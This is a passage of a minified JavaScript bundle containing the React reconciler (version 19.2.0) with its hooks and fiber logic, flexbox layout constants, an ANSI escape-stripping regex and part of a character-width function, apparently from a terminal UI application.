g=b(CN),p=32>g?32:g;g=aK.T;var zA=fN();try{hX(p),aK.T=null,p=R2A,R2A=null;var PA=VR,sA=CN;if(B0=0,vg=VR=null,CN=0,(l3&6)!==0)throw Error(Y(331));var y1=l3;if(l3|=4,klA(PA.current),EAA(PA,PA.current,sA,p),l3=y1,w1(0,!1),mj&&typeof mj.onPostCommitFiberRoot==="function")try{mj.onPostCommitFiberRoot(dAA,PA)}catch(g6){}return!0}finally{hX(zA),aK.T=g,glA(E,L)}}function QlA(E,L,g){L=YA(g,L),L=AR(E.stateNode,L,2),E=$9(E,L,2),E!==null&&(T(E,2),C6(E))}function q3(E,L,g){if(E.tag===3)QlA(E,E,g);else for(;L!==null;){if(L.tag===3){QlA(L,E,g);break}else if(L.tag===1){var p=L.stateNode;if(typeof L.type.getDerivedStateFromError==="function"||typeof p.componentDidCatch==="function"&&(kN===null||!kN.has(p))){E=YA(g,E),g=Wh(2),p=$9(L,g,2),p!==null&&(Dh(g,p,L,E),T(p,2),C6(p));break}}L=L.return}}function PfA(E,L,g){var p=E.pingCache;if(p===null){p=E.pingCache=new EL1;var zA=new Set;p.set(L,zA)}else zA=p.get(L),zA===void 0&&(zA=new Set,p.set(L,zA));zA.has(g)||(HNA=!0,zA.add(g),E=QC1.bind(null,E,L,g),L.then(E,E))}function QC1(E,L,g){var p=E.pingCache;p!==null&&p.delete(L),E.pingedLanes|=E.suspendedLanes&g,E.warmLanes&=~g,zz===E&&(W9&g)===g&&(JJ===4||JJ===3&&(W9&62914560)===W9&&300>lW()-k2A?(l3&2)===0&&VN(E,0):JNA|=g,wl===W9&&(wl=0)),C6(E)}function UlA(E,L){L===0&&(L=f()),E=X9(E,L),E!==null&&(T(E,L),C6(E))}function UC1(E){var L=E.memoizedState,g=0;L!==null&&(g=L.retryLane),UlA(E,g)}function pC1(E,L){var g=0;switch(E.tag){case 31:case 13:var{stateNode:p,memoizedState:zA}=E;zA!==null&&(g=zA.retryLane);break;case 19:p=E.stateNode;break;case 22:p=E.stateNode._retryCache;break;default:throw Error(Y(314))}p!==null&&p.delete(L),UlA(E,g)}function HR(E,L){return pAA(E,L)}function dC1(E,L,g,p){this.tag=E,this.key=g,this.sibling=this.child=this.return=this.stateNode=this.type=this.elementType=null,this.index=0,this.refCleanup=this.ref=null,this.pendingProps=L,this.dependencies=this.memoizedState=this.updateQueue=this.memoizedProps=null,this.mode=p,this.subtreeFlags=this.flags=0,this.deletions=null,this.childLanes=this.lanes=0,this.alternate=null}function VfA(E){return E=E.prototype,!(!E||!E.isReactComponent)}function JR(E,L){var g=E.alternate;return g===null?(g=K(E.tag,L,E.key,E.mode),g.elementType=E.elementType,g.type=E.type,g.stateNode=E.stateNode,g.alternate=E,E.alternate=g):(g.pendingProps=L,g.type=E.type,g.flags=0,g.subtreeFlags=0,g.deletions=null),g.flags=E.flags&65011712,g.childLanes=E.childLanes,g.lanes=E.lanes,g.child=E.child,g.memoizedProps=E.memoizedProps,g.memoizedState=E.memoizedState,g.updateQueue=E.updateQueue,L=E.dependencies,g.dependencies=L===null?null:{lanes:L.lanes,firstContext:L.firstContext},g.sibling=E.sibling,g.index=E.index,g.ref=E.ref,g.refCleanup=E.refCleanup,g}function plA(E,L){E.flags&=65011714;var g=E.alternate;return g===null?(E.childLanes=0,E.lanes=L,E.child=null,E.subtreeFlags=0,E.memoizedProps=null,E.memoizedState=null,E.updateQueue=null,E.dependencies=null,E.stateNode=null):(E.childLanes=g.childLanes,E.lanes=g.lanes,E.child=g.child,E.subtreeFlags=0,E.deletions=null,E.memoizedProps=g.memoizedProps,E.memoizedState=g.memoizedState,E.updateQueue=g.updateQueue,E.type=g.type,L=g.dependencies,E.dependencies=L===null?null:{lanes:L.lanes,firstContext:L.firstContext}),E}function dYA(E,L,g,p,zA,PA){var sA=0;if(p=E,typeof E==="function")VfA(E)&&(sA=1);else if(typeof E==="string")sA=gP&&nJ?QAA(E,g,SO.current)?26:$g(E)?27:5:gP?QAA(E,g,SO.current)?26:5:nJ?$g(E)?27:5:5;else A:switch(E){case wg:return E=K(31,g,L,zA),E.elementType=wg,E.lanes=PA,E;case dc:return hj(g.children,zA,PA,L);case EfA:sA=8,zA|=24;break;case kfA:return E=K(12,g,L,zA|2),E.elementType=kfA,E.lanes=PA,E;case dW:return E=K(13,g,L,zA),E.elementType=dW,E.lanes=PA,E;case CfA:return E=K(19,g,L,zA),E.elementType=CfA,E.lanes=PA,E;default:if(typeof E==="object"&&E!==null)switch(E.$$typeof){case wE:sA=10;break A;case zE:sA=9;break A;case XR:sA=11;break A;case lYA:sA=14;break A;case $R:sA=16,p=null;break A}sA=29,g=Error(Y(130,E===null?"null":typeof E,"")),p=null}return L=K(sA,g,L,zA),L.elementType=E,L.type=p,L.lanes=PA,L}function hj(E,L,g,p){return E=K(7,E,p,L),E.lanes=g,E}function ffA(E,L,g){return E=K(6,E,null,L),E.lanes=g,E}function dlA(E){var L=K(18,null,null,0);return L.stateNode=E,L}function bj(E,L,g){return L=K(4,E.children!==null?E.children:[],E.key,L),L.lanes=g,L.stateNode={containerInfo:E.containerInfo,pendingChildren:null,implementation:E.implementation},L}function cC1(E,L,g,p,zA,PA,sA,y1,g6){this.tag=1,this.containerInfo=E,this.pingCache=this.current=this.pendingChildren=null,this.timeoutHandle=Og,this.callbackNode=this.next=this.pendingContext=this.context=this.cancelPendingCommit=null,this.callbackPriority=0,this.expirationTimes=N(-1),this.entangledLanes=this.shellSuspendCounter=this.errorRecoveryDisabledLanes=this.expiredLanes=this.warmLanes=this.pingedLanes=this.suspendedLanes=this.pendingLanes=0,this.entanglements=N(0),this.hiddenUpdates=N(null),this.identifierPrefix=p,this.onUncaughtError=zA,this.onCaughtError=PA,this.onRecoverableError=sA,this.pooledCache=null,this.pooledCacheLanes=0,this.formState=g6,this.incompleteTransitions=new Map}function clA(E,L,g,p,zA,PA,sA,y1,g6,k8,S4,J4){return E=new cC1(E,L,g,sA,g6,k8,S4,J4,y1),L=1,PA===!0&&(L|=24),PA=K(3,null,null,L),E.current=PA,PA.stateNode=E,L=I1(),L.refCount++,E.pooledCache=L,L.refCount++,PA.memoizedState={element:p,isDehydrated:g,cache:L},S3(PA),E}function llA(E){if(!E)return FP;return E=FP,E}function ilA(E){var L=E._reactInternals;if(L===void 0){if(typeof E.render==="function")throw Error(Y(188));throw E=Object.keys(E).join(","),Error(Y(268,E))}return E=H(L),E=E!==null?J(E):null,E===null?null:cc(E.stateNode)}function nlA(E,L,g,p,zA,PA){zA=llA(zA),p.context===null?p.context=zA:p.pendingContext=zA,p=vY(L),p.payload={element:g},PA=PA===void 0?null:PA,PA!==null&&(p.callback=PA),g=$9(E,p,L),g!==null&&(B_(g,E,L),EY(g,E,L))}function NfA(E,L){if(E=E.memoizedState,E!==null&&E.dehydrated!==null){var g=E.retryLane;E.retryLane=g!==0&&g<L?g:L}}function cYA(E,L){NfA(E,L),(E=E.alternate)&&NfA(E,L)}var c3={},TfA=Object.assign,vfA=Symbol.for("react.element"),vh=Symbol.for("react.transitional.element"),OR=Symbol.for("react.portal"),dc=Symbol.for("react.fragment"),EfA=Symbol.for("react.strict_mode"),kfA=Symbol.for("react.profiler"),zE=Symbol.for("react.consumer"),wE=Symbol.for("react.context"),XR=Symbol.for("react.forward_ref"),dW=Symbol.for("react.suspense"),CfA=Symbol.for("react.suspense_list"),lYA=Symbol.for("react.memo"),$R=Symbol.for("react.lazy"),wg=Symbol.for("react.activity"),Eh=Symbol.for("react.memo_cache_sentinel"),LfA=Symbol.iterator,lC1=Symbol.for("react.client.reference"),Hg=Array.isArray,aK=x76.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE,rlA=A.rendererVersion,Q$=A.rendererPackageName,iYA=A.extraDevToolsConfig,cc=A.getPublicInstance,HE=A.getRootHostContext,RfA=A.getChildHostContext,nYA=A.prepareForCommit,Jg=A.resetAfterCommit,olA=A.createInstance;A.cloneMutableInstance;var{appendInitialChild:U$,finalizeInitialChildren:rYA,shouldSetTextContent:oYA,createTextInstance:alA}=A;A.cloneMutableTextInstance;var{scheduleTimeout:iC1,cancelTimeout:yfA,noTimeout:Og,isPrimaryRenderer:xj}=A;A.warnsIfNotActing;var{supportsMutation:p$,supportsPersistence:JE,supportsHydration:m_,getInstanceFromNode:hAA}=A;A.beforeActiveInstanceBlur;var nC1=A.preparePortalMount;A.prepareScopeUpdate,A.getInstanceFromScope;var{setCurrentUpdatePriority:hX,getCurrentUpdatePriority:fN,resolveUpdatePriority:slA}=A;A.trackSchedulerEvent,A.resolveEventType,A.resolveEventTimeStamp;var{shouldAttemptEagerTransition:rC1,detachDeletedInstance:oC1}=A;A.requestPostPaintCallback;var{maySuspendCommit:aC1,maySuspendCommitOnUpdate:tlA,maySuspendCommitInSyncRender:bAA,preloadInstance:elA,startSuspendingCommit:IfA,suspendInstance:SfA}=A;A.suspendOnActiveViewTransition;var AiA=A.waitForCommitToBeReady;A.getSuspendedCommitReason;var{NotPendingTransition:Xg,HostTransitionContext:OE,resetFormInstance:sC1}=A;A.bindToConsole;var{supportsMicrotasks:KiA,scheduleMicrotask:qiA,supportsTestSelectors:xAA,findFiberRoot:YiA,getBoundingRect:tC1,getTextContent:hfA,isHiddenSubtree:lc,matchAccessibilityRole:bfA,setFocusIfFocusable:eC1,setupIntersectionObserver:xfA,appendChild:j3,appendChildToContainer:AL1,commitTextUpdate:KL1,commitMount:uAA,commitUpdate:ziA,insertBefore:qL1,insertInContainerBefore:YL1,removeChild:mP,removeChildFromContainer:zL1,resetTextContent:BAA,hideInstance:ufA,hideTextInstance:wiA,unhideInstance:HiA,unhideTextInstance:uj}=A;A.cancelViewTransitionName,A.cancelRootViewTransitionName,A.restoreRootViewTransitionName,A.cloneRootViewTransitionContainer,A.removeRootViewTransitionClone,A.measureClonedInstance,A.hasInstanceChanged,A.hasInstanceAffectedParent,A.startViewTransition,A.startGestureTransition,A.stopViewTransition,A.getCurrentGestureOffset,A.createViewTransitionInstance;var kh=A.clearContainer;A.createFragmentInstance,A.updateFragmentInstanceFiber,A.commitNewChildToFragmentInstance,A.deleteChildFromFragmentInstance;var{cloneInstance:BfA,createContainerChildSet:mfA,appendChildToContainerChildSet:mAA,finalizeContainerChildren:JiA,replaceContainerChildren:aYA,cloneHiddenInstance:gfA,cloneHiddenTextInstance:sYA,isSuspenseInstancePending:gAA,isSuspenseInstanceFallback:XE,getSuspenseInstanceFallbackErrorDetails:wL1,registerSuspenseInstanceRetry:Ch,canHydrateFormStateMarker:OiA,isFormStateMarkerMatching:XiA,getNextHydratableSibling:tYA,getNextHydratableSiblingAfterSingleton:HL1,getFirstHydratableChild:JL1,getFirstHydratableChildWithinContainer:OL1,getFirstHydratableChildWithinActivityInstance:$iA,getFirstHydratableChildWithinSuspenseInstance:_iA,getFirstHydratableChildWithinSingleton:XL1,canHydrateInstance:GiA,canHydrateTextInstance:ZiA,canHydrateActivityInstance:cW,canHydrateSuspenseInstance:$E,hydrateInstance:$L1,hydrateTextInstance:_L1,hydrateActivityInstance:eYA,hydrateSuspenseInstance:ic,getNextHydratableInstanceAfterActivityInstance:WiA,getNextHydratableInstanceAfterSuspenseInstance:DiA,commitHydratedInstance:GL1,commitHydratedContainer:jiA,commitHydratedActivityInstance:nc,commitHydratedSuspenseInstance:FAA,finalizeHydratedChildren:ZL1,flushHydrationEvents:MiA}=A;A.clearActivityBoundary;var PiA=A.clearSuspenseBoundary;A.clearActivityBoundaryFromContainer;var{clearSuspenseBoundaryFromContainer:A2A,hideDehydratedBoundary:ViA,unhideDehydratedBoundary:K2A,shouldDeleteUnhydratedTailInstances:q2A}=A;A.diffHydratedPropsForDevWarnings,A.diffHydratedTextForDevWarnings,A.describeHydratableInstanceForDevWarnings;var{validateHydratableInstance:Y2A,validateHydratableTextInstance:WL1,supportsResources:gP,isHostHoistableType:QAA,getHoistableRoot:z2A,getResource:w2A,acquireResource:fiA,releaseResource:FfA,hydrateHoistable:_R,mountHoistable:QfA,unmountHoistable:UfA,createHoistableInstance:DL1,prepareToCommitHoistables:NiA,mayResourceSuspendCommit:jL1,preloadResource:TiA,suspendResource:GR,supportsSingletons:nJ,resolveSingletonInstance:H2A,acquireSingletonInstance:pfA,releaseSingletonInstance:UAA,isHostSingletonType:$g,isSingletonScope:fK}=A,rc=[],Lh=-1,FP={},Bj=Math.clz32?Math.clz32:W,dfA=Math.log,viA=Math.LN2,u0=256,J2A=262144,O2A=4194304,pAA=A51,cfA=S76,EiA=b76,ML1=h76,lW=Lx,kiA=y76,ZR=I76,d$=eq1,lfA=R76,PL1=void 0,ifA=void 0,dAA=null,mj=null,c$=typeof Object.is==="function"?Object.is:Q,nfA=typeof reportError==="function"?reportError:function(E){if(typeof window==="object"&&typeof window.ErrorEvent==="function"){var L=new window.ErrorEvent("error",{bubbles:!0,cancelable:!0,message:typeof E==="object"&&E!==null&&typeof E.message==="string"?String(E.message):String(E),error:E});if(!window.dispatchEvent(L))return}else if(typeof process==="object"&&typeof process.emit==="function"){process.emit("uncaughtException",E);return}console.error(E)},CiA=Object.prototype.hasOwnProperty,rfA,LiA,ofA=!1,RiA=new WeakMap,_g=[],Gg=0,X2A=null,Zg=0,gj=[],g_=0,_E=null,NN=1,TN="",SO=_(null),oc=_(null),l$=_(null),GE=_(null),i$=null,cw=null,L9=!1,Rh=null,QP=!1,afA=Error(Y(519)),$2A=_(null),Wg=null,WR=null,VL1=typeof AbortController<"u"?AbortController:function(){var E=[],L=this.signal={aborted:!1,addEventListener:function(g,p){E.push(p)}};this.abort=function(){L.aborted=!0,E.forEach(function(g){return g()})}},fL1=A51,NL1=eq1,vH={$$typeof:wE,Consumer:null,Provider:null,_currentValue:null,_currentValue2:null,_threadCount:0},cAA=null,Dg=null,_2A=!1,G2A=!1,sfA=!1,jg=0,ac=null,tfA=0,sc=0,tc=null,yiA=aK.S;aK.S=function(E,L){hiA=lW(),typeof L==="object"&&L!==null&&typeof L.then==="function"&&rA(E,L),yiA!==null&&yiA(E,L)};var Mg=_(null),ec=Error(Y(460)),iW=Error(Y(474)),Z2A=Error(Y(542)),W2A={then:function(){}},Pg=null,Vg=null,lAA=0,fg=k5(!0),IiA=k5(!1),UP=[],yh=0,efA=0,Ih=!1,ANA=!1,Al=_(null),D2A=_(0),Fj=_(null),pP=null,rJ=_(0),DR=0,L5=null,E2=null,hO=null,j2A=!1,Kl=!1,Ng=!1,M2A=0,iAA=0,ql=null,TL1=0,nAA={readContext:iA,use:u1,useCallback:z4,useContext:z4,useEffect:z4,useImperativeHandle:z4,useLayoutEffect:z4,useInsertionEffect:z4,useMemo:z4,useReducer:z4,useRef:z4,useState:z4,useDebugValue:z4,useDeferredValue:z4,useTransition:z4,useSyncExternalStore:z4,useId:z4,useHostTransitionStatus:z4,useFormState:z4,useActionState:z4,useOptimistic:z4,useMemoCache:z4,useCacheRefresh:z4};nAA.useEffectEvent=z4;var P2A={readContext:iA,use:u1,useCallback:function(E,L){return pA().memoizedState=[E,L===void 0?null:L],E},useContext:iA,useEffect:y0,useImperativeHandle:function(E,L,g){g=g!==null&&g!==void 0?g.concat([E]):null,nq(4194308,4,yX.bind(null,L,E),g)},useLayoutEffect:function(E,L){return nq(4194308,4,E,L)},useInsertionEffect:function(E,L){nq(4,2,E,L)},useMemo:function(E,L){var g=pA();L=L===void 0?null:L;var p=E();if(Ng){F(!0);try{E()}finally{F(!1)}}return g.memoizedState=[p,L],p},useReducer:function(E,L,g){var p=pA();if(g!==void 0){var zA=g(L);if(Ng){F(!0);try{g(L)}finally{F(!1)}}}else zA=L;return p.memoizedState=p.baseState=zA,E={pending:null,lanes:0,dispatch:null,lastRenderedReducer:E,lastRenderedState:zA},p.queue=E,E=E.dispatch=v2.bind(null,L5,E),[p.memoizedState,E]},useRef:function(E){var L=pA();return E={current:E},L.memoizedState=E},useState:function(E){E=zw(E);var L=E.queue,g=j1.bind(null,L5,L);return L.dispatch=g,[E.memoizedState,g]},useDebugValue:IX,useDeferredValue:function(E,L){var g=pA();return M8(g,E,L)},useTransition:function(){var E=zw(!1);return E=rq.bind(null,L5,E.queue,!0,!1),pA().memoizedState=E,[!1,E]},useSyncExternalStore:function(E,L,g){var p=L5,zA=pA();if(L9){if(g===void 0)throw Error(Y(407));g=g()}else{if(g=L(),zz===null)throw Error(Y(349));(W9&127)!==0||r4(p,L,g)}zA.memoizedState=g;var PA={value:g,getSnapshot:L};return zA.queue=PA,y0(Fq.bind(null,p,PA,E),[E]),p.flags|=2048,R0(9,{destroy:void 0},U7.bind(null,p,PA,g,L),null),g},useId:function(){var E=pA(),L=zz.identifierPrefix;if(L9){var g=TN,p=NN;g=(p&~(1<<32-Bj(p)-1)).toString(32)+g,L="_"+L+"R_"+g,g=M2A++,0<g&&(L+="H"+g.toString(32)),L+="_"}else g=TL1++,L="_"+L+"r_"+g.toString(32)+"_";return E.memoizedState=L},useHostTransitionStatus:CY,useFormState:x_,useActionState:x_,useOptimistic:function(E){var L=pA();L.memoizedState=L.baseState=E;var g={pending:null,lanes:0,dispatch:null,lastRenderedReducer:null,lastRenderedState:null};return L.queue=g,L=_4.bind(null,L5,!0,g),g.dispatch=L,[E,L]},useMemoCache:s1,useCacheRefresh:function(){return pA().memoizedState=LY.bind(null,L5)},useEffectEvent:function(E){var L=pA(),g={impl:E};return L.memoizedState=g,function(){if((l3&2)!==0)throw Error(Y(440));return g.impl.apply(void 0,arguments)}}},V2A={readContext:iA,use:u1,useCallback:h0,useContext:iA,useEffect:dJ,useImperativeHandle:x3,useInsertionEffect:S0,useLayoutEffect:yO,useMemo:N8,useReducer:Z6,useRef:t5,useState:function(){return Z6(E1)},useDebugValue:IX,useDeferredValue:function(E,L){var g=dA();return V7(g,E2.memoizedState,E,L)},useTransition:function(){var E=Z6(E1)[0],L=dA().memoizedState;return[typeof E==="boolean"?E:R1(E),L]},useSyncExternalStore:d4,useId:ww,useHostTransitionStatus:CY,useFormState:RX,useActionState:RX,useOptimistic:function(E,L){var g=dA();return pw(g,E2,E,L)},useMemoCache:s1,useCacheRefresh:e5};V2A.useEffectEvent=u_;var SiA={readContext:iA,use:u1,useCallback:h0,useContext:iA,useEffect:dJ,useImperativeHandle:x3,useInsertionEffect:S0,useLayoutEffect:yO,useMemo:N8,useReducer:j4,useRef:t5,useState:function(){return j4(E1)},useDebugValue:IX,useDeferredValue:function(E,L){var g=dA();return E2===null?M8(g,E,L):V7(g,E2.memoizedState,E,L)},useTransition:function(){var E=j4(E1)[0],L=dA().memoizedState;return[typeof E==="boolean"?E:R1(E),L]},useSyncExternalStore:d4,useId:ww,useHostTransitionStatus:CY,useFormState:wJ,useActionState:wJ,useOptimistic:function(E,L){var g=dA();if(E2!==null)return pw(g,E2,E,L);return g.baseState=E,[E,g.queue.dispatch]},useMemoCache:s1,useCacheRefresh:e5};SiA.useEffectEvent=u_;var KNA={enqueueSetState:function(E,L,g){E=E._reactInternals;var p=pW(),zA=vY(p);zA.payload=L,g!==void 0&&g!==null&&(zA.callback=g),L=$9(E,zA,p),L!==null&&(B_(L,E,p),EY(L,E,p))},enqueueReplaceState:function(E,L,g){E=E._reactInternals;var p=pW(),zA=vY(p);zA.tag=1,zA.payload=L,g!==void 0&&g!==null&&(zA.callback=g),L=$9(E,zA,p),L!==null&&(B_(L,E,p),EY(L,E,p))},enqueueForceUpdate:function(E,L){E=E._reactInternals;var g=pW(),p=vY(g);p.tag=2,L!==void 0&&L!==null&&(p.callback=L),L=$9(E,p,g),L!==null&&(B_(L,E,g),EY(L,E,g))}},qNA=Error(Y(461)),bO=!1,YNA={dehydrated:null,treeContext:null,retryLane:0,hydrationErrors:null},jR=!1,xO=!1,zNA=!1,wNA=typeof WeakSet==="function"?WeakSet:Set,bX=null,EH=null,nW=!1,vN=null,Yl=8192,vL1={getCacheForType:function(E){var L=iA(vH),g=L.data.get(E);return g===void 0&&(g=E(),L.data.set(E,g)),g},cacheSignal:function(){return iA(vH).controller.signal}},f2A=0,N2A=1,T2A=2,v2A=3,E2A=4;if(typeof Symbol==="function"&&Symbol.for){var rAA=Symbol.for;f2A=rAA("selector.component"),N2A=rAA("selector.has_pseudo_class"),T2A=rAA("selector.role"),v2A=rAA("selector.test_id"),E2A=rAA("selector.text")}var EL1=typeof WeakMap==="function"?WeakMap:Map,l3=0,zz=null,i3=null,W9=0,H2=0,rW=null,MR=!1,zl=!1,HNA=!1,PR=0,JJ=0,EN=0,Tg=0,JNA=0,Qj=0,wl=0,oAA=null,oW=null,ONA=!1,k2A=0,hiA=0,aAA=1/0,C2A=null,kN=null,B0=0,VR=null,vg=null,CN=0,L2A=0,R2A=null,XNA=null,Hl=0,$NA=null;return c3.attemptContinuousHydration=function(E){if(E.tag===13||E.tag===31){var L=X9(E,67108864);L!==null&&B_(L,E,67108864),cYA(E,67108864)}},c3.attemptHydrationAtCurrentPriority=function(E){if(E.tag===13||E.tag===31){var L=pW();L=B(L);var g=X9(E,L);g!==null&&B_(g,E,L),cYA(E,L)}},c3.attemptSynchronousHydration=function(E){switch(E.tag){case 3:if(E=E.stateNode,E.current.memoizedState.isDehydrated){var L=D(E.pendingLanes);if(L!==0){E.pendingLanes|=2;for(E.entangledLanes|=2;L;){var g=1<<31-Bj(L);E.entanglements[1]|=g,L&=~g}C6(E),(l3&6)===0&&(aAA=lW()+500,w1(0,!1))}}break;case 31:case 13:L=X9(E,2),L!==null&&B_(L,E,2),Qc(),cYA(E,2)}},c3.batchedUpdates=function(E,L){return E(L)},c3.createComponentSelector=function(E){return{$$typeof:f2A,value:E}},c3.createContainer=function(E,L,g,p,zA,PA,sA,y1,g6,k8){return clA(E,L,!1,null,g,p,PA,null,sA,y1,g6,k8)},c3.createHasPseudoClassSelector=function(E){return{$$typeof:N2A,value:E}},c3.createHydrationContainer=function(E,L,g,p,zA,PA,sA,y1,g6,k8,S4,J4,D7,D5){return E=clA(g,p,!0,E,zA,PA,y1,D5,g6,k8,S4,J4),E.context=llA(null),g=E.current,p=pW(),p=B(p),zA=vY(p),zA.callback=L!==void 0&&L!==null?L:null,$9(g,zA,p),L=p,E.current.lanes=L,T(E,L),C6(E),E},c3.createPortal=function(E,L,g){var p=3<arguments.length&&arguments[3]!==void 0?arguments[3]:null;return{$$typeof:OR,key:p==null?null:""+p,children:E,containerInfo:L,implementation:g}},c3.createRoleSelector=function(E){return{$$typeof:T2A,value:E}},c3.createTestNameSelector=function(E){return{$$typeof:v2A,value:E}},c3.createTextSelector=function(E){return{$$typeof:E2A,value:E}},c3.defaultOnCaughtError=function(E){console.error(E)},c3.defaultOnRecoverableError=function(E){nfA(E)},c3.defaultOnUncaughtError=function(E){nfA(E)},c3.deferredUpdates=function(E){var L=aK.T,g=fN();try{return hX(32),aK.T=null,E()}finally{hX(g),aK.T=L}},c3.discreteUpdates=function(E,L,g,p,zA){var PA=aK.T,sA=fN();try{return hX(2),aK.T=null,E(L,g,p,zA)}finally{hX(sA),aK.T=PA,l3===0&&(aAA=lW()+500)}},c3.findAllNodes=MfA,c3.findBoundingRects=function(E,L){if(!xAA)throw Error(Y(363));L=MfA(E,L),E=[];for(var g=0;g<L.length;g++)E.push(tC1(L[g]));for(L=E.length-1;0<L;L--){g=E[L];for(var p=g.x,zA=p+g.width,PA=g.y,sA=PA+g.height,y1=L-1;0<=y1;y1--)if(L!==y1){var g6=E[y1],k8=g6.x,S4=k8+g6.width,J4=g6.y,D7=J4+g6.height;if(p>=k8&&PA>=J4&&zA<=S4&&sA<=D7){E.splice(L,1);break}else if(!(p!==k8||g.width!==g6.width||D7<PA||J4>sA)){J4>PA&&(g6.height+=J4-PA,g6.y=PA),D7<sA&&(g6.height=sA-J4),E.splice(L,1);break}else if(!(PA!==J4||g.height!==g6.height||S4<p||k8>zA)){k8>p&&(g6.width+=k8-p,g6.x=p),S4<zA&&(g6.width=zA-k8),E.splice(L,1);break}}}return E},c3.findHostInstance=ilA,c3.findHostInstanceWithNoPortals=function(E){return E=H(E),E=E!==null?O(E):null,E===null?null:cc(E.stateNode)},c3.findHostInstanceWithWarning=function(E){return ilA(E)},c3.flushPassiveEffects=SAA,c3.flushSyncFromReconciler=function(E){var L=l3;l3|=1;var g=aK.T,p=fN();try{if(hX(2),aK.T=null,E)return E()}finally{hX(p),aK.T=g,l3=L,(l3&6)===0&&w1(0,!1)}},c3.flushSyncWork=Qc,c3.focusWithin=function(E,L){if(!xAA)throw Error(Y(363));E=jfA(E),L=LlA(E,L),L=Array.from(L);for(E=0;E<L.length;){var g=L[E++],p=g.tag;if(!lc(g)){if((p===5||p===26||p===27)&&eC1(g.stateNode))return!0;for(g=g.child;g!==null;)L.push(g),g=g.sibling}}return!1},c3.getFindAllNodesFailureDescription=function(E,L){if(!xAA)throw Error(Y(363));var g=0,p=[];E=[jfA(E),0];for(var zA=0;zA<E.length;){var PA=E[zA++],sA=PA.tag,y1=E[zA++],g6=L[y1];if(sA!==5&&sA!==26&&sA!==27||!lc(PA)){if(iJ(PA,g6)&&(p.push(SX(g6)),y1++,y1>g&&(g=y1)),y1<L.length)for(PA=PA.child;PA!==null;)E.push(PA,y1),PA=PA.sibling}}if(g<L.length){for(E=[];g<L.length;g++)E.push(SX(L[g]));return`findAllNodes was able to match part of the selector: `+(p.join(" > ")+` No matching component was found for: `)+E.join(" > ")}return null},c3.getPublicRootInstance=function(E){if(E=E.current,!E.child)return null;switch(E.child.tag){case 27:case 5:return cc(E.child.stateNode);default:return E.child.stateNode}},c3.injectIntoDevTools=function(){var E={bundleType:0,version:rlA,rendererPackageName:Q$,currentDispatcherRef:aK,reconcilerVersion:"19.2.0"};if(iYA!==null&&(E.rendererConfig=iYA),typeof __REACT_DEVTOOLS_GLOBAL_HOOK__>"u")E=!1;else{var L=__REACT_DEVTOOLS_GLOBAL_HOOK__;if(L.isDisabled||!L.supportsFiber)E=!0;else{try{dAA=L.inject(E),mj=L}catch(g){}E=L.checkDCE?!0:!1}}return E},c3.isAlreadyRendering=function(){return(l3&6)!==0},c3.observeVisibleRects=function(E,L,g,p){if(!xAA)throw Error(Y(363));E=MfA(E,L);var zA=xfA(E,g,p).disconnect;return{disconnect:function(){zA()}}},c3.shouldError=function(){return null},c3.shouldSuspend=function(){return!1},c3.startHostTransition=function(E,L,g,p){if(E.tag!==5)throw Error(Y(476));var zA=G9(E).queue;rq(E,zA,L,Xg,g===null?q:function(){var PA=G9(E);return PA.next===null&&(PA=E.alternate.memoizedState),s6(E,PA.next.queue,{},pW()),g(p)})},c3.updateContainer=function(E,L,g,p){var zA=L.current,PA=pW();return nlA(zA,PA,E,L,g,p),PA},c3.updateContainerSync=function(E,L,g,p){return nlA(L.current,2,E,L,g,p),2},c3};vyA.exports.default=vyA.exports;Object.defineProperty(vyA.exports,"__esModule",{value:!0})});var u76=32;var mJ4=()=>{};var O3,K51,BV,EyA,LQ,w4A,q51,B76,RQ;var Yr=k(()=>{O3={All:"all",Horizontal:"horizontal",Vertical:"vertical",Left:"left",Right:"right",Top:"top",Bottom:"bottom",Start:"start",End:"end"},K51={All:"all",Column:"column",Row:"row"},BV={Flex:"flex",None:"none"},EyA={Row:"row",RowReverse:"row-reverse",Column:"column",ColumnReverse:"column-reverse"},LQ={Auto:"auto",Stretch:"stretch",FlexStart:"flex-start",Center:"center",FlexEnd:"flex-end"},w4A={FlexStart:"flex-start",Center:"center",FlexEnd:"flex-end",SpaceBetween:"space-between",SpaceAround:"space-around",SpaceEvenly:"space-evenly"},q51={NoWrap:"nowrap",Wrap:"wrap",WrapReverse:"wrap-reverse"},B76={Relative:"relative",Absolute:"absolute"},RQ={Undefined:"undefined",Exactly:"exactly",AtMost:"at-most"}});function m76({onlyFirst:A=!1}={}){let q=["[\\u001B\\u009B][[\\]()#;?]*(?:(?:(?:(?:;[-a-zA-Z\\d\\/#&.:=?%@~_]+)*|[a-zA-Z\\d]+(?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*)?(?:\\u0007|\\u001B\\u005C|\\u009C))","(?:(?:\\d{1,4}(?:;\\d{0,4})*)?[\\dA-PR-TZcf-nq-uy=><~]))"].join("|");return new RegExp(q,A?void 0:"g")}function AH(A){if(typeof A!=="string")throw TypeError(`Expected a \`string\`, got \`${typeof A}\``);return A.replace(oa3,"")}var oa3;var bk=k(()=>{oa3=m76()});function gJ4(A){return A===161||A===164||A===167||A===168||A===170||A===173||A===174||A>=176&&A<=180||A>=182&&A<=186||A>=188&&A<=191||A===198||A===208||A===215||A===216||A>=222&&A<=225||A===230||A>=232&&A<=234||A===236||A===237||A===240||A===242||A===243||A>=247&&A<=250||A===252||A===254||A===257||A===273||A===275||A===283||A===294||A===295||A===299||A>=305&&A<=307||A===312||A>=319&&A<=322||A===324||A>=328&&A<=331||A===333||A===338||A===339||A===358||A===359||A===363||A===462||A===464||A===466||A===468||A===470||A===472||A===474||A===476||A===593||A===609||A===708||A===711||A>=713&&A<=715||A===717||A===720||A>=728&&A<=731||A===733||A===735||A>=768&&A<=879||A>=913&&A<=929||A>=931&&A<=937||A>=945&&A<=961||A>=963&&A<=969||A===1025||A>=1040&&A<=1103||A===1105||A===8208||A>=8211&&A<=8214||A===8216||A===8217||A===8220||A===8221||A>=8224&&A<=8226||A>=8228&&A<=8231||A===8240||A===8242||A===8243||A===8245||A===8251||A===8254||A===8308||A===8319||A>=8321&&A<=8324||A===8364||A===8451||A===8453||A===8457||A===8467||A===8470||A===8481||A===8482||A===8486||A===8491||A===8531||A===8532||A>=8539&&A<=8542||A>=8544&&A<=8555||A>=8560&&A<=8569||A===8585||A>=8592&&A<=8601||A===8632||A===8633||A===8658||A===8660||A===8679||A===8704||A===8706||A===8707||A===8711||A===8712||A===8715||A===8719||A===8721